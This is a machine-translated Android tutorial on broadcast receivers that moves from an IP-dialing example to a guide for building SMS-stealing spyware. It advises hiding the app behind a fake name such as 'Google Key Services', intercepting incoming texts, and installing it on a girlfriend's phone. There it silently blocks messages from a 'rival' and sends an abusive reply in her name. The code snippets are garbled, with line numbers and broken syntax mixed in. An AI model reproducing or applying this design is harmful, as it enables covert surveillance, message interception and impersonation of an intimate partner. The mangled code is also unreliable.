"Android Essentials" uses broadcast receivers to achieve the effects of IP dialing and SMS stealing

Source: Internet
Author: User
Tags ip number

I, broadcast recipient

Broadcast recipient Broadcastreceiver, how to understand the broadcast receiver?

System, there are many special events, such as SD card mount, outgoing calls, receive SMS and other events. We just have to register a broadcast receiver, the equivalent of buying a radio, we can receive these special events.

These events, when they happen, always send out broadcasts.

II, implementing IP dialing

1)

Effect: Enter a number to be stored as an IP number. Wait until the call, add this number, call out.

IP number, which can be stored in sharedpreferences. The most critical thing is to write a broadcast receiver, which should be added when an event such as an outgoing call occurs.

So we need to write a broadcast receiver.

2)

Inheriting the broadcast receiver will replicate its OnReceive method, which is invoked when a listening broadcast occurs.

In fact, I am also very surprised to write here, we have so many broadcasts, we rely on what to differentiate, real life depends on the frequency band, in Android, we must set the corresponding channel for the broadcast receiver.

Information related to the manifest file configuration:

1 <receiver android:name= "Com.eavesdrop.receiver.SmsReceiver" >2             <intent-filter Android:priority= ">3                 <action android:name=" Android.intent.action.NEW_OUTGOING_CALL "/ >4             </intent-filter>5 </receiver>

where "Android.intent.action.NEW_OUTGOING_CALL" is equivalent to the frequency band of outgoing calls.

Where the priority attribute represents broadcast precedence, the priority is said below.

3)

When outgoing calls, so will call the OnReceive method, then we can in the method to obtain the contents of the outgoing calls. and add the IP number we removed from Sharedpreferences before the call.

Code:

1 sharedpreferences sp;2      Public voidOnReceive (Context context, Intent Intent) {3         /**4 * Get the content of the broadcast event, that is, the number of the outgoing call5          */6String phone=Getresultdata ();7         /**8 * Get an IP phone9          */TenSp=context.getsharedpreferences ("config", context. Mode_private); OneString ipphone=sp.getstring ("number",NULL); A          -String newphone=phone+Ipphone; -         /** the * Send a changed external dialing number -          */ - Setresultdata (newphone); -}

Getresultdata () and Setresultdata () methods on the ground floor I don't understand anything at all. Rookie status.

There is also the right to receive outgoing calls broadcast, also need permission Android.permission.PROCESS_OUTGOING_CALLS

III, SMS Stealing

1)

For SMS stealing this app, you can't first let it have activity, and the name must appear important to prevent users from uninstalling. Recommended names, such as: "Google Key Services".

With the front cushion, here is the pro. First write a broadcast receiver, listen to the message received by the event.

1  <receiver android:name= "Com.eavesdrop.receiver.SmsReceiver" >2             <intent-filter android: Priority= ">3                 <action android:name=" Android.provider.Telephony.SMS_RECEIVED "/>4              </intent-filter>5         </receiver>

The key here is how to get the text message? In the OnReceive method, two parameters are received:

public void OnReceive (context context, Intent Intent), in fact, the data are encapsulated in the text of the Intent.

1 object[]objs= (object[]) Intent.getextras (). Get ("PDUs");

Intent.getextras () returns the bundle, which is the bundler equivalent to the Map collection, and as for the back get ("PDUs"), it can be used as a format for text messages, Pdus:protocol data units protocol units.

Intent.getextras (). Get ("PDUs") actually returns the object itself, where it is strongly converted to an object array. It should be convenient to traverse the data.

1  for(Object obj:objs) {2             /**3 * Smsmessage object, the object that represents the data for each message4              */5Smsmessage MESSAGE=SMSMESSAGE.CREATEFROMPDU ((byte[]) obj);6             /**7 * Get SMS content and Sender8              */9String body=message.getmessagebody ();TenString address=message.getoriginatingaddress (); OneSystem.out.println (body+ "" +address);
}

Through SMSMESSAGE.CREATEPDU (BYTE[]BUF) to convert the contents of the array into the object of each text message, the following is based on the idea of object-oriented, the content of the text message and the sender print out.

In fact, for SMS stealing, we can also add a function for it:

When we judge that the number of the SMS is your rival's number (if the app will be installed on your girlfriend), we can do this:

 1  if  ("Competitor's number" .equals (address) { 2  /*  3   * This method means that the current broadcast event is terminated directly. A high-priority broadcast receiver will not receive a text message if the broadcast event is terminated by a low-priority broadcast receiver.  4  */ 5   Abortbroadcast ();  6  Smsmanager.getdefault (). Sendtextmessage (Address, null , "You go to hell ... I don't like you. ", null , ); 7 } 

When found to be the rival's number, can interrupt the broadcast, that is to say, the rival sent the text message, the user will not receive. Of course, the priority of your broadcast receiver is set higher than the current user's.

After the interruption, you can send a message to the user-"You go to die ...." I don't like you .... "

However, after the recent android4.0, the mandatory requirement for applications with broadcast receivers must have an interface and run once.

"Android Essentials" uses broadcast receivers to achieve the effects of IP dialing and SMS stealing

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.